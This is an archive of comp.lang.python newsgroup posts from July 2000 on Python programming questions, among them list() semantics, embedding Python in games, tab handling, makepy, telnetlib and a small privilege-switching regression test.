>    Well, considering it doesn't work with most other data types, that isn't
>unexpected, isn't it?  
>
>>_any_ sequence can be either a single value or a sequence.
>
>    Right, any sequence.  You said it, remember it, I'll get back to that.
>
>>The fact that list() (and tuple()) only work on objects that actually have a
>>sequence mapping makes a lot of sense and, to me, resolves the ambiguity in
>>precisely the way I would expect.
>
>>>>> a = (1,3,'5')
>
>>a is a single value.  It's a tuple.  If list() took single values and made
>>them into single-element lists, and tuple() worked accordingly, I would
>>expect
>
>    No, a is a pointer to a tuple and the tuple contains three values.  A
>tuple is just an immutable list.  I'm not sure why anyone would want that, but
>hey, I'm sure there's a reason along there somewhere.  I see three valies, 1,
>3 & 5.
>
>>To have list() and tuple() behave one way when given non-sequence
>>arguments, and another when given sequence arguments, rather odd for two
>>reasons.
>
>    I never said that.

Not explicitly.  But asking for list(1) to give [1], and list((1,3)) to
give [1,3] is equivalent.  Depending on how you look at it, in the first
case it takes a single element and returns it into a single-element list,
and in the second it takes a single element returns it with its type
changed to list, or in the first case it takes a non-sequence and returns
it a single-element sequence, and in the second it takes a sequence and
returns the list-equivalent of that sequence.

>>Firstly, it's unnecessary.  If I have a single value in X, and I want to
>>make it a single-element list, there's a way to do that:
>
>    Really?
>
>>>>> some_variable = [X]
>
>    Seems counter intuative, doesn't it, list() could take that single value
>and make it a single item in a list.  

Yes, it does.  List returns the list-equivalent of the sequence passed as
its argument.  1 is not a sequence; it doesn't have a list equivalent.

>I mean, c'mon, why have list when you
>could just construct a for loop to use an append method?

You could, but that would be less efficient.

>>That is how you construct single-element lists.  list(), as its docstring
>>clearly states, creates a list from a sequence.
>
>    You're right.  It does. 
>   
>>Secondly, it's counterintuitive.  You say "all of those can be converted
>>into lists"; I look at 1 and think, "what is the list equivalent of an
>>integer?"
>
>    That is because you're thinking in terms of types and not just data.  It
>is a single element, nothing more.
>
>    Ah, but getting back to that point I said to remember.
>
>foo = "a"
>foo = list(foo)
>
>    foo is not ['a'].  It took a single element and made it a list.  So we now
>know that a single element has a sequence.  Here is another sequence of a
>single element.

As has already been stated, "a" is a single-element sequence, as are [1]
and (1,).

>foo = 1
>foo = list(foo)
>
>    Error.  Single element sequence.  Remember, any sequence can either be a
>single value or a sequence.  Yet here we have a single value denied.  Quirks
>abound.

Any _sequence_ can be a single element or sequence.
Any _single element_ can't be a single element or sequence.

all A is B != all B is A.

>>>    a is now "['a', 'b', 'c']".  Which means we split a string up when
>>>converting to list but don't concatinate on the way back. 
>
>>Why should str(['a','b','c']) == str(['abc']) == str(['ab','c']), etc?  The
>>str() function doesn't know that its argument was originally constructed
>>from a string.
>
>    I never said that, did I?  No.  Didn't I go on to state that I wouldn't
>expect it to work because going down the scale from structures down to simple
>data is hard.  It would be like trying to stuff a directory into a list.  
>Going from more complex to something simpler is always going to have some
>problems in implementation.  I was just pointing out that, as with anything, 
>there are quirks in the language that one must learn.

True, but to me, this isn't quirky at all, but precisely what I would
expect and entirely logical.

-- 
Barnabas T. Rumjuggler

In Xanadu did Ozymandias a stately edict once decree: "look upon my
Pleasure Dome, ye mighty, and despair!"
 -- David Zacuto


From jmcbray at carcosa.net  Sat Jul 22 13:15:38 2000
From: jmcbray at carcosa.net (Jason F. McBrayer)
Date: 22 Jul 2000 13:15:38 -0400
Subject: iterating over lines in a file
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net> <hMrd5.49275$e6.2860918@pouncer.easynews.com> <8l73an01lgb@news2.newsguy.com> <vnLd5.27741$r9.839310@news.easynews.com> <DSOd5.25099$DZ4.83839@news.corecomm.net> <slrn8nhj0s.jr0.cjc26@synecdoche.sowrong.org> <jlie5.28024$DZ4.107957@news.corecomm.net>
Message-ID: <m1k8eef5mt.fsf@bertrand.carcosa.net>

>>>>> "n" == nobody  <no at bo.dy> writes:

n> cjc26 at nospam.cornell.edu (Cliff Crawford), in

>>> i despise machines trying to second- guess my intentions, and silly
>>> little print statements trying to be clever with their arguments are
>>> nothing more than that.

>> print doesn't really try to be clever with its arguments, except for
>> printing a space between each one and a newline at the end.

n> that's trying to be clever. then, if i'm reading raw lines from a file and
n> want to print them verbatim, i have to strip a newline somewhere somehow?
n> how do i copy a file to another one, is there a file.copy method in some
n> module somewhere?

There is, but that's not important here.  What you really want
is to not use print; use the write method of a file object (such as
sys.stderr or sys.stdout).  That doesn't try to be clever with its
arguments like print does (python's print is not perl's print).

-- 
+-----------------------------------------------------------+
| Jason F. McBrayer                    jmcbray at carcosa.net  |
| A flower falls, even though we love it; and a weed grows, |
| even though we do not love it.            -- Dogen        |


From brunnsNObrSPAM at beer.com.invalid  Thu Jul  6 07:57:06 2000
From: brunnsNObrSPAM at beer.com.invalid (Simon B)
Date: Thu, 06 Jul 2000 04:57:06 -0700
Subject: Python for EPOC?
References: <39644427.6036E82C@autosim.no>
Message-ID: <08000838.2b2c7912@usw-ex0106-045.remarq.com>

Alf Inge Iversen <alfinge at autosim.no> wrote:
>Is there a Python interpreter and/or development environment
available
>for the EPOC operating system?

<http://dales.rmplc.co.uk/Duncan/PyPsion.htm>

Cheers,
Simon B.
With Microsoft, failure is not an option. It comes bundled.


-----------------------------------------------------------

Got questions?  Get answers over the phone at Keen.com.
Up to 100 minutes free!
http://www.keen.com



From jhylton at my-deja.com  Sat Jul  8 12:42:22 2000
From: jhylton at my-deja.com (Jeremy Hylton)
Date: Sat, 08 Jul 2000 16:42:22 GMT
Subject: Splitting c.l.py...
References: <LNBBLJKPBEHFEDALKOLCMEJPGIAA.tim_one@email.msn.com> <etdog49ha40.fsf@w20-575-115.mit.edu>
Message-ID: <8k7lld$g53$1@nnrp1.deja.com>

In article <etdog49ha40.fsf at w20-575-115.mit.edu>,
  Alex <cut_me_out at hotmail.com> wrote:
>
> > trying to disentangle all the webs binding Python to CNRI so that we
> > can be *effective* at BeOpen.
>
> Is there a synopsis of the legal woes that befell python somewhere?
It
> sounds sort of interesting.
>

It's not interesting <0.2 wink>.

-- Jeremy Hylton <http://www.python.org/~jeremy/>


Sent via Deja.com http://www.deja.com/
Before you buy.


From root at rainerdeyke.com  Thu Jul 20 16:49:20 2000
From: root at rainerdeyke.com (Rainer Deyke)
Date: Thu, 20 Jul 2000 20:49:20 GMT
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <963990339.783645@marvin> <8l4h60$jnk$2@gxsn.com> <8l4isr$l58$2@newshost.accu.uu.nl> <8l57fc$vi8$1@fermi.tro.net> <8l6pgt$fmc$1@newshost.accu.uu.nl> <8l6qt4$89p$1@fermi.tro.net> <8l74db$hs6$1@newshost.accu.uu.nl> <8l7f69$bon$1@fermi.tro.net>
Message-ID: <kBJd5.35887$6y5.24003017@news2.rdc2.tx.home.com>

"Moritz Voss" <nospam at buzzoff.com> wrote in message
news:8l7f69$bon$1 at fermi.tro.net...
> Maybe I don't get the python concept. Do you link it statically? Or is the
> interpreter *.exe invoked every time?
> We came from dos, counting every clock we spent using 90% assembly in our
> software. Until we were struck that our texturing algorithm sucked (and
> anyway, 3d accelerators were coming up and I already had one...)...

The Python interpreter is available as a DLL.  You link your C/C++ with the
Python library, then call python code with PyRun_String or something
similar.

Python is really easy to extend in C, although extending in C++ could be
difficult, especially if you use C++ exceptions.

> > >> From a game programming perspective, you can probably consider Python
> to
> > >> be dirt-slow, though. The trade-off is a lot of power for speed, but
> > >> that power can help you gain back speed because you can be a lot
> smarter.
>
> Yes and no. Just because I have encapsulation and overloaded operators,
that
> does not mean my program is going to be faster than a program that
performs
> the same task in assembly or C.

Python is horribly slow and memory-consuming compared with C or C++.  It is,
however, extremely flexible and easy to program.  However, this probably
doesn't matter if you only use Python where appropriate.  Don't write a
path-finding function in Python; write it in C or C++ and access it from
Python.

> > > Thanks :) So designing my own scripting language is easier.
> >
> > That's of course not true; designing your own scripting language will
> > most likely result in an ad-hoc broken design. Look at all the various
>
> Now, my own language would be an assembler-style thing. The concept is as
> follows - every instruction corresponds to an index. Each of these
indices,
> after compilation, are then translated, during runtime, into direct
function
> addresses. So what I have is my program that consists of a huge bunch
> pointers to C functions (which can have any level of complexity). These
> would just be loaded, and called, loaded, and called. I'm not going into
the
> depths of this here but passing parameters and references is not a
problem.

Sounds messy and slow.  An indirect function call per instruction?  Could be
slower than Python, especially since you'd need lots of instructions to do
anything useful when programming assembly style.

> > application specific scripting languages for examples. It's even
possible
> > your own design will be slower in many cases than the equivalent code
> > in Python, as you don't have as much time to polish it.
>
> That is the problem - python is oblect-oriented. Most AI scripts are tiny,
> though, just 15 lines or so with my assembler code.
> Something for a missile would be
> "CheckTarget-<calcangles>-Steer-IfCloserThanX-Detonate". The script knows
> how toget closer to what it wants - but does so not my reall playing god
and
> moving the missile, but just setting off a command "Steer" that tells the
> physics engine "ThrustvectorAngleChange (angles)"... This is unlike the
> scripts in the Quake engines that allow to do unrealistic things - in my
> project, each script can only do what is physically possible - otherwise,
> the missile will crash or the tank will tip over in a curve.

This type of thing is possible in Python.  To prevent the script from doing
something naughty, override __builtins__.

> A caveat here: The unit scripts will be lengthy, having units check engine
> and gun temperature (and move into the shade or cease fire), check whether
> they can go down that hill after it has started rainign, have them
> communicate targetting info or even orders to other units, calculate the
> lead for their next shots, return to a repair base via the safest way....
>
> And it MUST all be user definable for the player, that point is muission
> critical for the project. Otherwise, we'd hardcode it.

All no problem in Python.  If you use classes to represent unit types, you
can override any attributes or behavior through subclasses.

> I'll play around with python, but I found the way to embed it totally
> confusing. (That is, of course, because I have never worked with embedded
> languages yet). Also, I find no tutorial that clearly tells me how to
change
> my C variable "X" from within my Python program "Y" that is invoked by the
C
> Program.

You would typically do things the other way around - change Python variables
from C.  If you must change a C variable from Python, you would have to
write a function that changes the variable and write a built-in module that
contains the function.  Python programs can then access import the module
and call the function.

> > > Or: Isn't it feasibble to pull of a stunt like ID software did with
> their VM
> > > files? These contain compiled C code that is loaded dynamically - and
of
>
> > If you want to script your game in C there isn't any problem. :)

Actually there is.  It's impossible to prevent a DLL from crashing the host
computer and doing other bad things.


--
Rainer Deyke (root at rainerdeyke.com)
Shareware action/role-playing games      -      http://rainerdeyke.com
"In ihren Reihen zu stehen heisst unter Feinden zu kaempfen" - Abigor




From Norman_Shelley-RRDN60 at email.sps.mot.com  Fri Jul 14 12:28:22 2000
From: Norman_Shelley-RRDN60 at email.sps.mot.com (Norman Shelley)
Date: Fri, 14 Jul 2000 09:28:22 -0700
Subject: ?Neil Schemenauer's GC patch in python1.6?
Message-ID: <396F3FA6.6EBC62BA@email.sps.mot.com>

Is Neil Schemenauer's GC patch scheduled to be in python1.6?

I'm currently getting hit with huge memory leaks probably due to
circular references. Even after going through and removing the most
obvious ones it has helped only a little.  Having to design programs and

algorithms with reference counting in mind is just as bad as having to
remember to remember to use free() when in C or C++. Python must be
better than it  currently is in order to sell it to others   who have
not yet seen the light.







From olivierS.dagenaisP at canadaA.comM.bbs  Sun Jul 16 19:50:02 2000
From: olivierS.dagenaisP at canadaA.comM.bbs (olivierS.dagenaisP at canadaA.comM.bbs)
Date: 16 Jul 2000 23:50:02 GMT
Subject: "Intellisense" drop-down...
Message-ID: <3bQeBQ$kbv@openbazaar.net>

I found it!  In coloreditor.py, I found the two methods I had been wanting
to use, namely SciAutoCActive and SCIAutoCComplete!

Here it is, folks, the ability to use another key than TAB to select a word
in the AutoComplete list:


def AutoCompleteOrIgnore ( editor_window, event ):
    editor = editor_window.edit

    if editor.SCIAutoCActive ( ):
        editor.SCIAutoCComplete ( )

    return 1



Just add it to your .cfg file and then, in the [Keys] section, add/change
the following:

Ctrl+Space        = <<expand-word>>
Ctrl+Enter        = AutoCompleteOrIgnore
Space             = AutoCompleteOrIgnore

and PythonWin should now [sort of] behave like VB!  If you don't like "it"
adding a space after an "auto-completed" word, change the function to:


def AutoCompleteOrIgnore ( editor_window, event ):
    editor = editor_window.edit

    if editor.SCIAutoCActive ( ):
        editor.SCIAutoCComplete ( )
        return 0

    return 1


Wohoo!!!

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Neil Hodgson" <neilh at scintilla.org> wrote in message
news:osrc5.3577$4p3.27127 at news-server.bigpond.net.au...
> > I have found no way of defining new key combinations to select the
> currently
> > highlighted word in the "Intellisense" drop-down list.  For example:
> > ...
> > I hightlight "Apply" and the only key I can use to make "Apply" appear
and
> > the list to disappear is "Tab".  I want other keys to trigger this.  The
> > default.cfg file only lists this:
>
>    When the previous post appeared about Ctrl+Enter in auto-completion, I
> had a look at extending the keys that would choose an item and tried
> changing this in Scintilla. This worked in other applications but not in
> PythonWin as PythonWin intercepts keys before sending them on to
Scintilla.
> Then I went looking through PythonWin but the code was confusing so I gave
> up.
>
>     If you are interested in working on this, the Enter key calls
> newline_and_indent_event in pywin\idle\AutoIndent.py. So you could
intercept
> it here or else bind Enter to your own event that calls the current
> newline_and_indent_event only when no autocompletion is shown.
>
>    Neil
>
>
>


From kalle at gnupung.net  Mon Jul  3 10:28:38 2000
From: kalle at gnupung.net (Kalle Svensson)
Date: Mon, 3 Jul 2000 16:28:38 +0200
Subject: Random number generation, simple question.
Message-ID: <Pine.GSO.4.21.0007031546410.25965-100000@luna.dsv.su.se>

Hello.

I have a few questions about the (pseudo) random number generator supplied
in the standard library. I need 80 random bits (for a CipherSaber IV) but
I hear most RNG's only supply 32 bits or less. My questions are:

 * How many random bits does whrandom.random() generate?

 * Suppose I do a loop where I get a byte at a time and then re-seed the
   generator either with random numbers from the generator or with values
   from time. Will that improve the randomness?

 * Are there better alternatives? I understand I could read from
   /dev/random on Linux, but this isn't portable, and even though I only
   use GNU/Linux myself, I have friends who don't. If anyone can tip me
   off about a similar feature in Win32, I could just detect platform and
   use the appropriate function, of course. I don't think I have to care
   about Macs or other *NIX dialects. Phew... :)

Hope I'm making sense even though I hardly understand what I'm talking
about... :)

TIA,
  Kalle Svensson



From ngps at madcap.dyndns.org  Sat Jul 22 09:12:20 2000
From: ngps at madcap.dyndns.org (Ng Pheng Siong)
Date: 22 Jul 2000 13:12:20 GMT
Subject: how to build ssl on window
References: <8lb9ap$j0n$1@nnrp1.deja.com>
Message-ID: <8lc6jk$1f1$1@coco.singnet.com.sg>

According to  <ryzam at my-deja.com>:
> im trying to using urllib and httplib that can access "https" url but i
> got an error. Is it i must recompile again python 1.6a2 with ssl
> module??

Try the binary distribution of M2Crypto 0.05-snapshot#3 here:

    http://www.post1.com/home/ngps/m2

Https should "just work".


-- 
Ng Pheng Siong <ngps at post1.com> * http://www.post1.com/home/ngps



From keitt at nceas.ucsb.edu  Sun Jul 23 17:26:49 2000
From: keitt at nceas.ucsb.edu (Timothy H. Keitt)
Date: Sun, 23 Jul 2000 14:26:49 -0700
Subject: Operators for everything (was Re: Operators for matrix)
References: <Pine.LNX.4.10.10007180134360.9411-100000@rock.localdomain> <ZW4d5.3559$FA2.391374@nnrp3.clara.net> <oa5dns8idp0ktl6kvlr37ps1ovrip48a0h@4ax.com> <3977AF5E.552F4F42@my.signature> <W.Whiten-2107001658290001@whiten-mac.jkmrc.uq.edu.au>
Message-ID: <397B6319.27A6438A@nceas.ucsb.edu>

R (www.r-project.org) uses '%' as in A %*% B.  Might be nice to
standardize.

Tim

Bill Whiten wrote:
> 
> In article <3977AF5E.552F4F42 at my.signature>, Greg Ewing <see at my.signature>
> wrote:
> > Python with its overloadable operators can be thought of
> > as a meta-language for creating domain-specific languages.
> > But the number of operators is too restricted for it to
> > be really good in this role. Operator overloading feels like
> > something tacked on as an afterthought rather than a
> > serious feature. I don't think it's unreasonable
> > to consider whether this situation could be improved.
> 
> I would prefer the normal oprerators plus an escape character followed by
> additional characters to define new operators eg @+ @div etc.
> 
> Regards,
> -----------
> Bill Whiten,                                     W.Whiten at mailbox.uq.oz.au
> Julius Kruttschnitt Mineral Research Centre,
> The University Of Queensland,                       Tel: int +61 7 3365 5888
> Isles Rd, Indooroopilly,                            Fax: int +61 7 3365 5999
> Brisbane Qld 4068, AUSTRALIA.

-- 
Timothy H. Keitt
National Center for Ecological Analysis and Synthesis
735 State Street, Suite 300, Santa Barbara, CA 93101
Phone: 805-892-2519, FAX: 805-892-2510
http://www.nceas.ucsb.edu/~keitt/


From cjensen at bioeng.ucsd.edu  Thu Jul 13 12:41:30 2000
From: cjensen at bioeng.ucsd.edu (Curtis Jensen)
Date: Thu, 13 Jul 2000 09:41:30 -0700
Subject: Simple File I/O Question
Message-ID: <396DF13A.97CC3F5E@bioeng.ucsd.edu>

I know this should be simple, but....  I have a variable that holds an
int.  I want to write it to a file.  The following code:

var = 5
f = open('foo','w')
f.write(var)

gives this error:
TypeError: read-only buffer, int

This works if:
var = '5'

So, How do I write an int variable to a file?  Thanks.

-- 
Curtis Jensen
cjensen at bioeng.ucsd.edu
http://www-bioeng.ucsd.edu/~cjensen/
FAX (425) 740-1451


From mwh21 at cam.ac.uk  Mon Jul 31 18:56:44 2000
From: mwh21 at cam.ac.uk (Michael Hudson)
Date: 31 Jul 2000 23:56:44 +0100
Subject: check file exists
References: <Pine.GSO.4.10.10007312325350.3741-100000@sundial>
Message-ID: <m38zuhaoyb.fsf@atrus.jesus.cam.ac.uk>

Moshe Zadka <moshez at math.huji.ac.il> writes:

> On Mon, 31 Jul 2000, Randy Heiland wrote:
> 
> > How does one test for whether or not a (Unix) file exists?
> 
> os.path.exists()

Hmm, seven answers in about ten minutes (from glancing at headers).
Not bad...

Cheers,
M.

-- 
58. Fools ignore complexity. Pragmatists suffer it. Some can avoid
    it. Geniuses remove it.
  -- Alan Perlis, http://www.cs.yale.edu/homes/perlis-alan/quotes.html


From bjorn at roguewave.com  Sun Jul 16 13:24:41 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Sun, 16 Jul 2000 11:24:41 -0600
Subject: Discussion: Introducing new operators for matrix computation - 
 general approach?
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <qsusmscak89fbrddm2b7mlej4vrjq4nadl@4ax.com> <396EDE0B.5F9075B6@fft.be> <8koktn$dik$1@news-int.gatech.edu>
Message-ID: <3971EFD9.FE155FBE@roguewave.com>

Andrew Henshaw wrote:

> Gregory Lielens  wrote:
> >John Lull wrote:
> ...snip...
>
> >> I'm don't think this is quite fair.  You could just as easily write:
> >>  b = rDiv(X, y) >> if you simply had an appropriate rDiv() function.
> ..snip..
> >Indeed, but it is the old choice between functional/operator notation...
> >For example, the second expression, b = (X'*X)\(X'*y), would be in
> >functional notation
> >something like b=rDiv(Mul(X.T(),X),Mul(X.T(),y))
> >This is ok, but imho far more error prone than operator notation,
> >because
> >- all linear algebra textbooks present expressions with operator
> >notation
> >- the operator notation is more natural to almost everybody when dealing
> >with arithmetic
> >
> I wonder if some of these problems could be approached in a more general
> manner.  What if Python could support the definition of operators in the
> same manner as functions? If that were the case then something like:
>
> opr rDiv(X, y):
>
> would define a new operator function that would work like:
>
> b = X rDiv y
>
> The big advantage would be that special purpose grammars could be easily
> imported.  The core language could be kept as simple as possible, but still
> be extensible in a  way that matters to a lot of people.
>
> I suspect that whitespace would be required around these new 'operators',
> although many people already do that with regular operators.  Also, I'm not
> sure how you'd specify an operator that wasn't valid as a function name, but
> I can think of possibilities.

Prolog does this (you'll of course have to specify the precedence of the
operator also, and to solve the current perceived problem probably their
associativity too...)

It's something that works relatively well in Prolog, but then Prolog doesn't
have namespaces etc... If you think you can solve those problems, I would
encourage you to try to implement it and try your solution in a couple of
different domains (matrix-, db-, xml-, string- processing?)  It could be useful,
and if it is, then we can discuss whether it should be added to the core.

Thankfully, Python doesn't add new ideas to the core before they have been tried
out sufficiently first. C++ did, and has ended up working around design problems
(how many people really know how Koenig lookup works...?)

python-the-lean-mean-fighting-machine-with-batteries-included'ly y'rs
-- bjorn




From jcm at bigskytel.com  Mon Jul 10 18:06:49 2000
From: jcm at bigskytel.com (David Porter)
Date: Mon, 10 Jul 2000 16:06:49 -0600
Subject: Making tabs illegal
In-Reply-To: <8kcjqn$k7v$1@nnrp1.deja.com>; from fcahoon@my-deja.com on Mon, Jul 10, 2000 at 01:41:46PM +0000
References: <394ac7ea.609024015@nntp.interaccess.com> <3950C0E2.7532D38@sightreader.com> <8k5l8d$9lr$1@nnrp1.deja.com> <20000708005527.L26534@xs4all.nl> <8kcjqn$k7v$1@nnrp1.deja.com>
Message-ID: <20000710160649.A4184@novara.avenue>

* Forrest Cahoon <fcahoon at my-deja.com>:

> I have heard of the -tt flag, but I don't think that's exactly what I'm
> looking for.  I'd like to enforce spaces and disallow tabs altogether.
> (What does "mixed in a dangerous way" mean, anyway?)

Mixing tabs and spaces (a tab here, four spaces there...) is the real
problem. Using tabs exclusively or spaces exclusively both work fine. So
this is what the -tt flag does:

~ > python -tt
Python 1.5.2 (#1, Jul 23 1999, 06:38:16)  [GCC egcs-2.91.66 19990314/Linux
(egcs- on linux2
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> for x in range(10):
...     print 'indented with four spaces'
...     print 'indented with one tab'
  File "<stdin>", line 3
    print 'indented with one tab'
                                ^
SyntaxError: inconsistent use of tabs and spaces in indentation
>>> 


> The issue is being able to enforce a particular coding style in a
> development environment.  For that reason, it's better to have it
> compiled in than to be a command-line switch.

Just enforce a particular editor, which converts tabs to four spaces
automagically. There are several which can do it. Then again, you have the
sources, so if you know c you can add the switch yourself. 



From paul at prescod.net  Tue Jul 25 01:12:15 2000
From: paul at prescod.net (Paul Prescod)
Date: Tue, 25 Jul 2000 00:12:15 -0500
Subject: Erm... might I suggest... (Re: New PEP: Attribute Access Handlers)
References: <39791F0C.CDC13E79@prescod.net> <39792795.B5B0D18C@roguewave.com> <39792C74.E7E3DB2B@prescod.net> <397933DA.46B072BF@roguewave.com> <8F797551Agmcmhypernetcom@199.171.54.194> <397BDCC6.9C498F01@my.signature> <397BF66A.EF8BDEF4@prescod.net> <397D1ADA.A8074086@my.signature>
Message-ID: <397D21AF.28498FBC@prescod.net>

Greg Ewing wrote:
> 
> To get attribute attr_name:
>    if attr_name is in the instance dict:
>       return it

If I understand this correctly, then the very first time you add the
attribute to the dict you effectively wipe out the accessor because the
test above will evaluate true every time and the branch that uses
accessors will never get called.

If so, then your proposal does not allow the use of the XXX entry in the
dict for arbitrary values. That would have been the primary benefit over
my latest proposal.

Subject: Attributes PEP Enhancement
   Date: Mon, 24 Jul 2000 01:00:02 -0500

-- 
 Paul Prescod - Not encumbered by corporate consensus
New from Computer Associates: "Software that can 'think', sold by 
marketers who choose not to."



From richard_chamberlain at ntlworld.com  Sun Jul  9 09:41:24 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Sun, 9 Jul 2000 14:41:24 +0100
Subject: How to use makepy?
References: <8k9o91$7b1$1@supernews.com> <8k9tot$5o$1@supernews.com>
Message-ID: <Ag%95.5437$dL5.112620@news6-win.server.ntlworld.com>

Dale

I'm not sure what your original message was but:

>>Anyone got any idea how to use makepy?

Go into pythonwin and onto the tools menu and select COM Makepy Utility, and
then the COM object you want to work with, and finally press OK.

That will generate a python file in your py_gen folder, which depending on
the object will be quite big.

In that file will be a class for each automation object and a set of
constants from the type library.

On the oreilly site one of the sample chapters for Python Programming on
Win32 is the advanced COM chapter which has a bit about makepy:

http://www.oreilly.com/catalog/pythonwin32/chapter/ch12.html

If you haven't got the book it's well worth the money.

Richard

Dale Strickland-Clark <dale at out-think.NOSPAM.co.uk> wrote in message
news:8k9tot$5o$1 at supernews.com...
> Well, all this seemed to do was break an existing working program. I've
had
> to delete the \gen_py folder to get things working again.
>
> I am confused now.
>
> Anyone got any idea how to use makepy?
>
> Thanks
>
> Dale Strickland-Clark
>
> "News.tele2.co.uk" <dale at out-think.NOSPAM.co.uk> wrote in message
> news:8k9o91$7b1$1 at supernews.com...
> > Well I've run it and it seemed to work but I'm not really sure what to
do
> > next.
> >
> > In fact, I'm not entirely sure what it's supposed to do for me but I'm
> > hoping it will at least give me access to some COM object constants.
> >
> > Where is it documented?
> >
> > Thanks
> >
> > Dale Strickland-Clark
> >
> >
> >
> >
>
>




From nobody at nowhere.nohow  Sun Jul 16 12:18:30 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Sun, 16 Jul 2000 16:18:30 GMT
Subject: Top 10 Language Constructs (Phyton)
References: <8kmkam$m45$1@pollux.ip-plus.net> <8kn71u02nn4@news2.newsguy.com> <8knng5$eue$1@slb3.atl.mindspring.net> <8kpavi04id@news1.newsguy.com> <8kpt05$uj6$1@slb3.atl.mindspring.net>
Message-ID: <qflc5.1316$6E.225996@ptah.visi.com>

On 15 Jul 2000 14:37:57 GMT, Aahz Maruch <aahz at netcom.com> wrote:

>Yeah, one of the reasons I hate AltaVista so much is because it does a
>remarkably poor job of result ranking, even by the relatively poor
>standards of search engines.

I am reminded of something somebody once told me about network
TV: "They don't care whether you like the programs or not. All
they care about is whether their customers like their product."

IOW: You are not the customer. You are the product.

-- 
Grant Edwards                   grante             Yow!  An air of FRENCH
                                  at               FRIES permeates my
                               visi.com            nostrils!!


From pete at visionart.com.bbs  Mon Jul 17 19:50:02 2000
From: pete at visionart.com.bbs (pete at visionart.com.bbs)
Date: 17 Jul 2000 23:50:02 GMT
Subject: event handler advice
Message-ID: <3bRTZQ$kKP@openbazaar.net>

i'm trying to write a simple event handler python class.
so far i haven't come up with an 'elegant' solution i was
expecting.

i have a list of different messages, and they are all
given different interger values. this list is defined
in a C extension, for example
msg.INIT, msg.EXIT, msg.STOP, msg.PLAY, ...


i want to make a inheritable class that receives one
of these messages and calls a member routine with the
same name. my handler doesn't know the name of the
variable, since python only sends it the INT value.

so i need to find some nice way to map these message ids
to a method name. i then need to get this name and have
the class call it on itself.

the end result being i can call
"mymessagehandler_inst.handle(msg.PLAY)"
and this will in turn call
"mymessagehandler_inst.PLAY()"

there's a good sized list of these messages, and in the
future it will likely expand

my guess is i need some dictionary that defines the
messages and their routine name (no shortcut way to do
this unless python had #define like macros :])

messages = {msg.INIT:"INIT", msg.PLAY:"PLAY", ...etc}

then a routine like

class basehandler:
    def handle(messageid):
        name = messages[messageid]
        self.name()   #HAHA, no really, how do i do this?

but i'm not exactly sure how to write this. need help, thx


From peter at schneider-kamp.de  Mon Jul 17 10:07:09 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Mon, 17 Jul 2000 14:07:09 +0000
Subject: [Patch] {l,r}just with optional pad character parameter
References: <8kshd3$l1h$2@bw107zhb.bluewin.ch>
Message-ID: <3973130D.F73CEA79@schneider-kamp.de>

Beat Bolli wrote:
> 
> Hi all
> 
> this is my first crack at Python patching. I was simply appalled to find
> '3'.zfill(5) not working anymore in 2.0b1, so I decided to do something
> about it. Now since zfill can be expressed as rjust with an optional pad
> characer argument, I implemented this.

Looks fine to me. When you upload a version with updates to
documentation and test cases please try to make a context diff
(-c if you are using diff or cvs diff). 

As it should not break any existing code (if someone relies on
{r,l}just only taking one parameter I'd say that's her/his problem),
I think it will very likely be accepted. But then, only God knows <wink>

> Live long and prosper!

trying to seperate fingers at appropriate position,
Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From fiona at sitegnome.com  Mon Jul 31 16:23:26 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: Tue, 01 Aug 2000 06:23:26 +1000
Subject: check file exists
References: <3985DDA3.E811F70A@ncsa.uiuc.edu>
Message-ID: <3985E03E.2DFB9E4A@sitegnome.com>

Hi Randy,

> How does one test for whether or not a (Unix) file exists?

This entry might be useful ->

How do I check to see if a file exists?
http://www.faqts.com/knowledge-base/view.phtml/aid/2782/fid/552

cheers,

Fiona


From jtoy at tcgfinancial.com  Thu Jul 20 15:38:34 2000
From: jtoy at tcgfinancial.com (jtoy)
Date: Thu, 20 Jul 2000 15:38:34 -0400
Subject: newwb Q:telnetlib
Message-ID: <39775539.8B533FAE@tcgfinancial.com>

Hi, Im trying to write a Python script that runs some simple telnet
commands.  I want to login, enter usrname/password, then enter a few
command like: cd, pwd, mail, etc.  I followed the example in
telnetlib.py, but I cant get it to work.  Can someone write a small
example with the variables I wrote above?  Thanks for your time.
Jason Toy
toyboy at toy.eyep.net
http://toy.eyep.net




From amk at mira.erols.com  Thu Jul 13 20:48:01 2000
From: amk at mira.erols.com (A.M. Kuchling)
Date: 14 Jul 2000 00:48:01 GMT
Subject: Test writing volunteers needed
References: <14700.44683.572283.391037@beluga.mojam.com>
Message-ID: <slrn8mspe5.k6.amk@mira.erols.com>

On Wed, 12 Jul 2000 12:44:43 -0500 (CDT), 
	Skip Montanaro <skip at mojam.com> wrote:
>I'm look for a few people to write some regression tests for the posix (and
>windows or mac equivalents), os and sys modules.  Some of that functionality

To start the ball rolling, here's a little test case for the set{re,e}{u,g}id
functions that I added to the CVS version last night.

--amk

# Simple test case for os.setreuid(), os.setregid()
import os, pwd

uid = os.getuid()
if uid != 0:
    raise ImportError, "This test must be run as root; skipping"

nobody_uid, nobody_gid = pwd.getpwnam('nobody')[2:4]

# Set real uid and gid to root, effective uid and gid to nobody
os.setreuid( 0, nobody_uid ) ; os.setregid( 0, nobody_gid )

# Change effective ID to nobody
os.seteuid( nobody_uid )

# Expect these to fail
try: os.setuid( 1 )
except os.error: pass 
else: print 'Should have been unable to change UID to 1'

try: os.setgid( 1 )
except os.error: pass
else: print 'Should have been unable to change GID to 1'

# These should succeed, since we're just swapping the IDs
os.setreuid( nobody_uid, 0 )
os.setregid( nobody_gid, 0 )

# These should now succeed, since we're now back to root privilege
os.setgid( 1 ) ; os.setuid( 1 )



From ddb at crystal.uwa.edu.au  Wed Jul 26 22:23:23 2000
From: ddb at crystal.uwa.edu.au (Douglas du Boulay)
